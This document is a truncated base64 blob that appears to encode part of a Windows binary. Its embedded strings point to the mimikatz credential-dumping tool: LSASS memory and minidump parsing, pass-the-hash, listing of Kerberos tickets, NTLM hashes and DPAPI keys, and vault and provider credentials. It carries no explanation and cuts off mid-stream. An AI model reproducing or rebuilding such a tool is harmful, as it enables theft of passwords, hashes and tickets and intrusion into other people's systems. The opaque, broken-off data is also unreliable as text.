8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAkACQBQAGEAcwBzAHcAbwByAGQAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAkACQBQAEkATgAgAEMAbwBkAGUAIAAgACAAIAAgACAAIAAgADoAIAAlADAANABoAHUACgAAAAAACQAJAEIAYQBjAGsAZwByAG8AdQBuAGQAIABwAGEAdABoACAAOgAgACUAcwAKAAAAAAAAAAAAAAAJAAkAUABpAGMAdAB1AHIAZQAgAHAAYQBzAHMAdwBvAHIAZAAgACgAZwByAGkAZAAgAGkAcwAgADEANQAwACoAMQAwADAAKQAKAAAAAAAAAAkACQAgAFsAJQB1AF0AIAAAAAAAAAAAAHAAbwBpAG4AdAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAAAAAYwBsAG8AYwBrAHcAaQBzAGUAAAAAAAAAYQBuAHQAaQBjAGwAbwBjAGsAdwBpAHMAZQAAAAAAAAAAAAAAAAAAAGMAaQByAGMAbABlACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAIAA7ACAAcgAgAD0AIAAlADMAdQApACAALQAgACUAcwAAAAAAAAAAAAAAAAAAAGwAaQBuAGUAIAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAgAC0APgAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAAAAAAAAAJQB1AAoAAAAJAAkAUAByAG8AcABlAHIAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlAC4AKgBzAFwAAAAAAAAAJQAuACoAcwAAAAAAAAAAAHQAbwBkAG8AIAA/AAoAAAAJAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAdABlAG0AcAAgAHYAYQB1AGwAdAAAAAAACQBQAGEAdABoACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAAACUAaAB1AAAAJQB1AAAAAABbAFQAeQBwAGUAIAAlAHUAXQAgAAAAAABsAHMAYQBzAHIAdgAuAGQAbABsAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AH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AAAAAAAAAATABpAHMAdABzACAAYQBsAGwAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAGwAbwBnAG8AbgBQAGEAcwBzAHcAbwByAGQAcwAAAAAATABpAHMAdABzACAAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAAcwBzAHAAAABMAGkAcwB0AHMAIABMAGkAdgBlAFMAUwBQACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAGwAaQB2AGUAcwBzAHAAAABMAGkAcwB0AHMAIABUAHMAUABrAGcAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAB0AHMAcABrAGcAAAAAAAAATABpAHMAdABzACAASwBlAHIAYgBlAHIAbwBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAABMAGkAcwB0AHMAIABXAEQAaQBnAGUAcwB0ACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAHcAZABpAGcAZQBzAHQAAABMAGkAcwB0AHMAIABMAE0AIAAmACAATgBUAEwATQAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAG0AcwB2AAAAAAAAAAAAAABTAG8AbQBlACAAYwBvAG0AbQBhAG4AZABzACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMALgAuAC4AAAAAAAAAUwBlAGsAdQByAEwAUwBBACAAbQBvAGQAdQBsAGUAAABzAGUAawB1AHIAbABzAGEAAAAAAAAAAABTAHcAaQB0AGMAaAAgAHQAbwAgAFAAUgBPAEMARQBTAFMACgAAAAAAUwB3AGkAdABjAGgAIAB0AG8AIABNAEkATgBJAEQAVQBNAFAAIAA6ACAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAG0AaQBuAGkAZAB1AG0AcAAgADsAIAA8AG0AaQBuAGkAZAB1AG0AcABmAGkAbABlAC4AZABtAHAAPgAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAAAAAAAAAAAAAAAATwBwAGUAbgBpAG4AZwAgADoAIAAnACUAcwAnACAAZgBpAGwAZQAgAGYAbwByACAAbQBpAG4AaQBkAHUAbQBwAC4ALgAuAAoAAAAAAAAAAABsAHMAYQBzAHMALgBlAHgAZQAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABmAG8AdQBuAGQAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgAgACgAJQB1ACkAIAAhAD0AIABNAEkATQBJAEsAQQBUAFoAXwBOAFQAXwBNAEEASgBPAFIAXwBWAEUAUgBTAEkATwBOACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAcABJAG4AZgBvAHMALQA+AFAAcgBvAGMAZQBzAHMAbwByAEEAcgBjAGgAaQB0AGUAYwB0AHUAcgBlACAAKAAlAHUAKQAgACEAPQAgAFAAUgBPAEMARQBTAFMATwBSAF8AQQBSAEMASABJAFQARQBDAFQAVQBSAEUAXwBBAE0ARAA2ADQAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAdwBpAHQAaABvAHUAdAAgAFMAeQBzAHQAZQBtAEkAbgBmAG8AUwB0AHIAZQBhAG0AIAAoAD8AKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEsAZQB5ACAAaQBtAHAAbwByAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBnAG8AbgAgAGwAaQBzAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AbwBkAHUAbABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBlAG0AbwByAHkAIABvAHAAZQBuAGkAbgBnAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEgAYQBuAGQAbABlACAAbwBuACAAbQBlAG0AbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABvAGMAYQBsACAATABTAEEAIABsAGkAYgByAGEAcgB5ACAAZgBhAGkAbABlAGQACgAAAAAAAAAAAAkAJQBzACAAOgAJAAAAAAAKAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAgAEkAZAAgADoAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAUwBlAHMAcwBpAG8AbgAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgAGYAcgBvAG0AIAAlAHUACgBVAHMAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBEAG8AbQBhAGkAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBTAEkARAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAByAHUAbgAAAAAAAAAAAAAAdQBzAGUAcgAJADoAIAAlAHMACgBkAG8AbQBhAGkAbgAJADoAIAAlAHMACgBwAHIAbwBnAHIAYQBtAAkAOgAgACUAcwAKAAAAYQBlAHMAMQAyADgAAAAAAEEARQBTADEAMgA4AAkAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAGEAZQBzADIANQA2AAAAAABBAEUAUwAyADUANgAJADoAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADYANAAgACgAMwAyACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAG4AdABsAG0AAAAAAAAAAABOAFQATABNAAkAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABuAHQAbABtACAAaABhAHMAaAAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAACAAIAB8ACAAIABQAEkARAAgACAAJQB1AAoAIAAgAHwAIAAgAFQASQBEACAAIAAlAHUACgAAAAAAIAAgAHwAIAAgAEwAVQBJAEQAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAAAAAACAAIABcAF8AIABtAHMAdgAxAF8AMAAgACAAIAAtACAAAAAAAAAAAAAgACAAXABfACAAawBlAHIAYgBlAHIAbwBzACAALQAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABHAGUAdABUAG8AawBlAG4ASQBuAGYAbwByAG0AYQB0AGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAaQB0AGgATABvAGcAbwBuAFcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHQAIABsAGUAYQBzAHQAIABvAG4AZQAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABuAHQAbABtACAATwBSACAAYQBlAH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irAQDDVAEA7VQBAARVAQBYrAEABFUBAFpTAQAKVQEAuKwBAAAAAAABDAIADAERABkaBgALkgfABXAEYANQAjBYTwEAQAAAABkXBAAIcgRwA2ACMFhPAQA4AAAAGSkLABc0XwAXAVQAEPAO4AzQCsAIcAdgBlAAAFhPAQCYAgAAAQ8GAA9kDwAPNA4AD7ILcAEYCAAYZAgAGFQHABg0BgAYMhRwGSkLABc0nwAXAZQAEPAO4AzQCsAIcAdgBlAAAFhPAQCQBAAAARQIABRkEAAUVA8AFDQOABSyEHAZIwoAFDQUABSyEPAO4AzQCsAIcAdgBlBYTwEAUAAAABkrCwAZNIEAGQF2ABLwEOAO0AzACnAJYAhQAABYTwEAoAMAAAkEAQAEQgAAGogBAAEAAACviAEA4ogBANGsAQDiiAEAAQoEAAo0CAAKMgZwAQQBAARiAAABFAgAFHIQ8A7gDNAKwAhwB2AGMBkhCAASVAkAEjQIABIyDtAMcAtgWE8BABAAAAAZKQsAFzQeABcBFAAQ8A7gDNAKwAhwB2AGUAAAWE8BAJAAAAAZGwQADDQQAAyyCHBYTwEAWAAAAAEXCAAXZAsAF1QKABc0CQAXUhNwAQ8GAA9kCQAPNAgADzILcBkhCAASVA0AEjQMABJSDsAMcAtgWE8BACgAAAABBAEABMIAAAEGAgAGkgIwARwLABx0KQAcZCgAHFQnABw0JgAcASQAFcAAAAENBQANARgABnAFYAQwAAABBgIABjICMAEcDAAcZAwAHFQLABw0CgAcMhjwFuAU0BLAEHABGAoAGGQNABhUDAAYNAsAGFIU0BLAEHABBAEABIIAAAEUCAAUZAkAFFQIABQ0BwAUMhBwARgIABhkDgAYVA0AGDQMABiSFHABHQwAHXQNAB1kDAAdVAsAHTQKAB1SGeAX0BXAASAMACBkDwAgVA0AIDQMACBSHPAa4BjQFsAUcAEUCAAUZAkAFFQHABQ0BgAUMhBwAQoEAAo0BwAKMgZwARkKABl0DQAZZAwAGVQLABk0CgAZchXAAQ8GAA9kBwAPNAYADzILcAEcDAAcZBAAHFQPABw0DgAcchjwFuAU0BLAEHABHQwAHXQPAB1kDgAdVA0AHTQMAB1yGeAX0BXAARkKABl0EQAZZBAAGVQPABk0DgAZshXAAREGABE0DQARcg1wDGALUAEUCAAUZAoAFFQJABQ0CAAUUhBwARwLABzEHwAcdB4AHGQdABw0HAAcARoAFdAAAAEEAQAEQgAAARkDABlCFXAUMAAAAQ8GAA9kCQAPNAgAD1ILcAEPBgAPZAcAD1QGAA8yC3ABEggAElQPABI0DAAScg7ADHALYAEUCAAUZA4AFFQNABQ0DAAUkhBwARgKABhkDgAYVA0AGDQMABhyFNASwBBwARgKABhkEgAYVBEAGDQQABiyFNASwBBwAQgCAAhyBDABCwIAC/IEMAESCAASVAsAEjQKABJSDsAMcAtgAQYCAAbSAjABGwoAG2QXABtUFQAbNBQAG/IU0BLAEHABGwoAG2QWABtUFQAbNBQAG/IU0BLAEHABEAYAEGQNABA0DAA